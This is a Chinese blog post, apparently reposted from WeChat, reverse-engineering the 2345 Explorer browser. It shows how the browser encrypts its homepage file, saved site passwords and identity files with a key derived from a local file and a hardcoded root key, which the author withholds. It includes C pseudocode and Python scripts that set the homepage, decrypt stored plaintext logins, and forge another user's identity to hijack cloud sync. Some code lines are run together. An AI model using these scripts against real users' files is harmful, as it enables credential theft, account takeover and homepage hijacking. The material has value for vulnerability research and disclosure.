最近对浏览器比较感兴趣,于是对两千三百四十五浏览器做了一些无脑逆向有一点点小小的收获,没什么技术含量的东西,写得超级烂,大佬们喷轻点(心里承受能力弱) 。
ps:刚开始实习,想学学移动安全,求大佬们给点方向吧。
该浏览器在未登录时和登录时设置主页有些区别。具体有四点内容:
1.未登陆状态主页设置
2.登陆状态主页设置
3.解密保存在本地的网站登陆账号密码和身份信息
4.伪造身份同步云端信息
一、未登陆状态主页设置
先定位到关键算法,OD调试。
该函数08D5F028功能就是设置主页,函数原型大概是这样:SetHomePage(this,byte **url)
继续跟进该函数,然后进入函数08D62DD4
这个函数的作用就是使用密钥1 rootKey[16]
对C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultSynHardwareInfo.dat进行
AES解密(CBC模式 Pkcs5Padding填充)解密后的数据存放在 一个二级指针指向的地址
rootKey[16]是程序写死的密钥
原型:DecrypturlKeyFromFile(byte **urlKey)
继续调试,进入函数08D62F44,这个函数原型可以写成:SaveHomePage(this,byte urlKey,byte url)
后续的url拼接,加密,写文件都是在这个函数里完成的
来到一个函数调用,08D5F65A目的是把url拼接成json格式:{“homepage”:”url”}
接着调试,这一处调用就是加密前面拼接的json数据,取前面解密出来的urlKey前16位当作key进行AES加密
函数大概张这样:Encrypt(byte json,byte urlKey,byte *encryptData),加密之后的数据写入 encryptData
085F8B6的作用就是把前面的加密数据 encryptData写入文件
C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultpage_file.dat
未登录状态的主页分析到此就结束了,密钥 rootKey[16] 大家去分析一下就知道了,很简单的,给出上面几个函数的文件偏移
chrome.1652dd4: DecrypturlKeyFromFile(byte **urlKey)
chrome.164f224: SaveHomePage(this,byte **urlKey,byte **url)
chrome.164F65A: BuildJson(byte **url,byte**json) //拼接成json
chrome.164F77C:Encrypt(byte **json,byte **urlKey,byte **encryptData) //取urlKey的前16位当作key加密数据
chrome.164F8B6: SaveVerifyFile(byte **encryptData)
贴出写的贼烂的伪代码
void SetHomePage(byte *url)
{
unsigned char prefixJson[] = { "homepage" };
unsigned char rootKey[] = { "xxxxxxxxxxxxxxxxx" };
char *keyPath = "C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Syn\HardwareInfo2.dat";
char *pageFile = "C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\page_file.dat";
HANDLE hFile = CreateFileA(keyPath,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile==INVALID_HANDLE_VALUE)
{
return;
}
DWORD bytesRead = 0;
DWORD dwSize = GetFileSize(hFile, NULL);
UCHAR *encryptKey = new UCHAR[dwSize];
BOOL bRet = ReadFile(hFile, encryptKey, dwSize, &bytesRead, NULL);
CloseHandle(hFile);
if (bRet == FALSE)
{
return;
}
byte *key = AESCBCPK5Decrypt(encryptKey, rootKey); //rootKey作为AES解密的key CBC模式 Pkcs5Padding填充
key[16] = 0; //取解密数据的前16位
////拼接为:{"xxxx":"url"}
string json = string("{"") + (char*)prefixJson + "":"" + (char*)url + ""}";
byte* encryptData = AESCBCPK5Encrypt(json, key); //加密json数据
hFile = CreateFileA(pageFile,
GENERIC_READ|GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return;
}
DWORD dataSize, bytesWrite;
WriteFile(hFile, encryptKey, dataSize, &bytesWrite, NULL);
CloseHandle(hFile);
}
二、登陆状态主页设置
登录状态的时候主页信息会保存在文件:C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultSyncyyyyUserPrefs
目录名yyyy是一个md5值,后面会讲这个md5是根据谁生成的
UserPrefs文件的加密算法和未登录使用的算法一致
只是会先在C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultSyncyyyy目录生成了一个临时文件:xxxxxxx.tmp
延时几秒再用ReplaceFileW函数替换掉UserPrefs文件,并没有使用CreateFileA/W函数
解密之后的 UserPrefs文件张这样:
马赛克打多了,关键位置还是:{“homepage”:”url”} 格式
三、解密保存在本地的网站登陆账号密码和身份信息
登录之后的用户身份信息保存在文件:C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultSyncUserInfo.dat
搞笑的是加密方式和上面主页设置算法还是一致的
注意sync_password_id字段,前面的目录名yyy就是md5(sync_password_id)
最重点的地方来了,用同样的方式解密文件:
C:UsersxxxAppDataLocal2345ExplorerUserAppDataLocal2345ExplorerUser DataDefaultSyncyyyLogin DataV2
没看错,就是用户浏览器记住的网站明文用户名密码和提交的一些表单信息
有点害怕,难道不应该使用windows身份加密API来加密这些东西吗
这样我把HardwareInfo2.dat和 Login DataV2文件拖到其他电脑上解密也太容易了吧
四、伪造身份同步云端信息
既然知道了 Login DataV2和 UserInfo.dat的生成过程,如果我们在另一台电脑上安装该浏览器,不登录任何账号,然后使用A用户的HardwareInfo2.dat文件解密自己的Login DataV2和 UserInfo.dat文件,再用B电脑的HardwareInfo2.dat加密前面解密出来的内容生成新的Login DataV2和 UserInfo.dat,再放入覆盖掉B电脑的相同文件,浏览器会不会登录上A用户,并且同步A的信息?
好像可以,书签什么的都同步下来了
顺便附上登录/未登录状态设置主页和伪造身份py代码,代码很烂,大佬们打轻点
import binascii
from Crypto.Cipher import AES
class AESCBCDeEncrypt:
def __init__(self,key):
self.key=key
self.mode = AES.MODE_CBC
self.bs = 16 self.PADDING = lambda s: s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)
def encrypt(self, text):
generator = AES.new(self.key, self.mode, self.key)
text=self.PADDING(text)
crypt = generator.encrypt(text)
crypted_str = binascii.b2a_hex(crypt)
return crypted_str,crypt
def decrypt(self, text):
generator = AES.new(self.key, self.mode, self.key)
return generator.decrypt(text)
#登录设置主页def setPageWithLogin(url):
file = r'C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultSyncyyyUserPrefs' macDecode = open(r'C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultSyncHardwareInfo2.dat', 'rb').read()
keyDecoder = AESCBCDeEncrypt('rootKey') #rootKey没有给出 key = keyDecoder.decrypt(macDecode)[:16]
dataDecoder = AESCBCDeEncrypt(key)
fileData = open(file, 'rb').read()
data = dataDecoder.decrypt(fileData)
fix = data.find('"startup_urls":[]}}') + len('"startup_urls":[]}}')
data=data[:fix]
index = data.find('"homepage":') + len('"homepage":')
index2 = data.find(',"pref_client"')
url='"'+url+'"' data=data[:index]+url+data[index2:]
str,binData=dataDecoder.encrypt(data)
f=open(r'C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultSyncyyyUserPrefs','wb')
f.write(binData)
f.close()
def decrypt(dataPath,keyPath):
rootKey='' #rootKey没有给出 keyRaw=open(keyPath,'rb').read()
keyDecoder = AESCBCDeEncrypt(rootKey)
key = keyDecoder.decrypt(keyRaw)[:16]
dataDecoder = AESCBCDeEncrypt(key)
dataRaw=open(dataPath,'rb').read()
dataDecoder = AESCBCDeEncrypt(key)
return dataDecoder.decrypt(dataRaw)
def encrypt(dataRaw,keyPath):
rootKey = '' keyRaw = open(keyPath, 'rb').read()
keyDecoder = AESCBCDeEncrypt(rootKey)
key = keyDecoder.decrypt(keyRaw)[:16]
dataDecoder = AESCBCDeEncrypt(key)
dataDecoder = AESCBCDeEncrypt(key)
return dataDecoder.encrypt(dataRaw)
def filterinfo(info,mark):
index=info.rfind(mark)
return info[:index+1]
#生成身份文件def fakeUser():
localKeyFile = r'C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultSyncHardwareInfo2.dat' otherKeyFile = r'C:UsersxxxDesktopother.dat' loginFle = r'C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultSyncyyyLogin DataV2' userinfoFile = r'C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultSyncUserInfo.dat' logininfo = filterinfo(decrypt(loginFle, localKeyFile), '}')
loginhex, loginRaw = encrypt(logininfo, otherKeyFile)
f = open(r'C:UsersxxxDesktopFakerLogin DataV2', 'wb')
f.write(loginRaw)
f.close()
userinfo = filterinfo(decrypt(userinfoFile, localKeyFile), 'n')
userinfoHex, userinfoRaw = encrypt(userinfo, otherKeyFile)
f = open(r'C:UsersxxxDesktopFakerUserInfo.dat', 'wb')
f.write(userinfoRaw)
f.close()
#未登录设置主页def setPageWithoutLogin(url):
file = r'C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultpage_file.dat' macDecode = open(r'C:UsersxxxAppDataLocal2345ExplorerUser DataDefaultSyncHardwareInfo2.dat', 'rb').read()
keyDecoder = AESCBCDeEncrypt('rootKey') #rootKey没有给出 key = keyDecoder.decrypt(macDecode)[:16]
dataDecoder = AESCBCDeEncrypt(key)
json='{"homepage":"url"}' json=json.replace('url',url)
f=open(file,'wb')
f.write(dataDecoder.encrypt(json)[1])
f.close()
if __name__ == '__main__':
fakeUser()
setPageWithoutLogin("iloveChina")
setPageWithLogin("iloveChina")
本文始发于微信公众号(疯猫网络):逆向某浏览器主页设置算法和保存登录账号信息过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论